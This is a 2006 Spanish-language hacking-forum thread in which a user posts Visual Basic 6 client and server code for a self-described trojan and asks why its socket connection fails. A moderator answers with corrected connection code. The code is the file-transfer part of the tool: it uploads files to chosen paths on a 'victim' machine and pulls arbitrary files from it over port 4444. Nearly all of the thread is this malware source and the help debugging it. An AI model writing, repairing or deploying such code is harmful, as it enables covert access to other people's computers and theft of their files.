hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
06 de Octubre de 2008, 12:53:25
Noticias: La segunda fase del torneo de matemáticas ya ha empezado!!
Para ver este enlace Registrate o Inicia Sesion
ver

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Visual Basic (Moderadores: ranefi, crypto136, ziBboh, >> s E t H <<)
| | | |-+  Ayoda con este troyano, no me conecta
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ayoda con este troyano, no me conecta  (Leído 467 veces)
Guan
NZ2
**
Desconectado Desconectado

Mensajes: 178


Bifrost 1.1 user


Ver Perfil WWW
« : 09 de Octubre de 2006, 06:01:36 »

   Wenas, estaba haciendo mi herramienta de administracion remota en visual basic 6, con la api del winsock, para poder usarla en cualqier pc, pero al darle a conectar, el estado del socket (lo pone en la ventana del vb) es "sckConnecting y a los dos segundos (+ o -), el estado es de "sckError"., y evidentemente, no se conecta
  No se porqe ocurre esto, pero bueno pues por si me podeis ayudar, aqi os dejo los codigos:

Cliente:
Command1 - Conectar
Command2 - Subir file
Command3 - Descargar file
cd - Common dialog
pb - progress bar

Código:
Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean
Dim WithEvents ws As CSocketMaster
Dim ext As String, path As String, nombre As String

Private Sub Command1_Click()
ws.Protocol = sckTCPProtocol
ws.RemotePort = "4444"
ws.RemoteHost = "127.0.0.1"
ws.CloseSck
ws.Connect
End Sub

Private Sub Command2_Click()
cd.Filter = "Todos los archivos |*.*"
cd.ShowOpen
Open cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = cd.FileTitle
path = InputBox("Elije la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
ws.SendData "archivo" & "|" & filesize & "|" & path
End Sub

Private Sub Command3_Click()
Dim ruta As String
ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
ws.SendData "coger" & ruta
ext = Right(ruta, Len(ruta) - 4)
End Sub

Private Sub Form_Load()
Set ws = New CSocketMaster
send = False
progreso = False
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
Label1.Caption = "Conectado"
Else
Label1.Caption = "Desconectado"
End If
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws.GetData datos
If datos = "enviar" Then
progreso = True
ws.SendData filedata
End If
If datos = "recibido" Then
ws.SendData "cierra"
End If
If Left(datos, 7) = "archivo" Then
send = True
    filesize = Mid(datos, 8)
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
        pb.Min = 0
        pb.Max = filesize
        pb.Value = Len(datos2)
        pb.Refresh
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        pb.Value = 0
        cd.Filter = "Archivos " & ext & "| *" & ext
        cd.FileName = ""
        cd.ShowSave
        Open cd.FileName For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
End Sub

Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
'cuando se envia algun dato:
If progreso = True Then
'si el interruptor esta activado entonces continua:
pb.Min = 0     'valor minimo cero
pb.Max = filesize    'valor maximo el tamaño total del archivo, ESTO SIEMPRE ES EN BYTES
bytes = bytes + bytesSent   'bytes es igual a lo que tenga bytes mas los bytes enviados, (EL PAQUETE ENVIADO) la variable bytessent te la da esta subrutina, asi que no ay que declararla...
pb.Value = bytes ' el valor actual sera los bytes actualmente enviados en conjunto
pb.Refresh
If filesize = bytes Then  'cuando se haya enviado el total del archivo, cuando los bytes enviados sean = a los bytes totales del archivo...
pb.Value = 0  ' la pb, se pone a 0 como señal de que a terminado y por que a de estar asi para un futuro envio
MsgBox "Archivo enviado con exito"
progreso = False 'se desactiva el interruptor para que la barra no se active acidentalmente al enviarle datos que no sean el archivo al servidor.
End If
End If
End Sub

y el server:
Código:
Dim WithEvents ws As CSocketMaster
Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String

Private Sub Form_Load()
Set ws = New CSocketMaster
send = False
ws.Protocol = sckTCPProtocol
ws.LocalPort = "4444"
ws.CloseSck
ws.Listen
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.CloseSck
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String, dato As Variant
ws.GetData datos
If datos = "enviar" Then
ws.SendData filedata
End If
If datos = "recibido" Then
'ws.SendData "cierra"
End If
If Left(datos, 7) = "archivo" Then
send = True
    dato = Split(datos, "|")
    filesize = dato(1)
    path = dato(2)
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        Open path For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
If Left(datos, 5) = "coger" Then
datos = Mid(datos, 6)
Open datos For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
filesize = Len(filedata)
ws.SendData "archivo" & filesize
End If
End Sub
PD: Unicamente envia y recive archivos de al victima, el resto del troyano no teine nada qe ver con la conexion, pero antes de usar la api funcionaba

Saludos
En línea



crypto136
Moderador
*****
Desconectado Desconectado

Mensajes: 220


ah no pues.....


Ver Perfil WWW
« Respuesta #1 : 09 de Octubre de 2006, 04:23:27 »

tu problema esta aqui
,--------------------------------------------,
 Private Sub Command1_Click()
 ws.Protocol = sckTCPProtocol
 ws.RemotePort = "4444"
 ws.RemoteHost = "127.0.0.1"
 ws.CloseSck
 ws.Connect
 End Sub
'---------------------------------------´

lo correcto seria asi :


Private Sub Command1_Click()
ws.CloseSck
ws.Protocol = sckTCPProtocol
ws.RemoteHost = "127.0.0.1"
ws.RemotePort = "4444"
ws.Connect
End Sub

  suerte Cool
En línea

Guan
NZ2
**
Desconectado Desconectado

Mensajes: 178


Bifrost 1.1 user


Ver Perfil WWW
« Respuesta #2 : 10 de Octubre de 2006, 06:19:25 »

Gracias por la ayuda tio, pero no he arreglado el problema, sigue dando el mismo error, he cambiado de puerto y es igual, aver si alguien tiene la solucion pliss....

Saludos   Wink
En línea



crypto136
Moderador
*****
Desconectado Desconectado

Mensajes: 220


ah no pues.....


Ver Perfil WWW
« Respuesta #3 : 12 de Octubre de 2006, 09:58:32 »

a ver el problema no creo que radike en el puerto sino en la forma ke usas el wsock ah y te recomiendo ke uses variables pa la ip y el port  te xplico el orden correcto:
( al menos a mi si me funka de ese modo )

-------- esto es en el cliente-------------

dim ip as string
dim port as integer

ip="127.0.0.1" ' ip ejemplo
port ="1400" 'ejemplo
(1) ws.close ' aki cierras el winsock es lo primero q tienes q hacr
(2) ws.remotehost= Cstr(ip) ' lo 2do asignar la ip
(3) ws.remoteport=cint(port) ' 3ro asignar el puerto
(4) ws.connect ' x ultimo conectar
-----------------------------------------------
es igual en el server solo q no van ls pasos 2 y 3 y en el 4to bueh ahi va listen
espero que con eso kede listo sino me avisas igual nos vemos men  Cool

En línea

Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online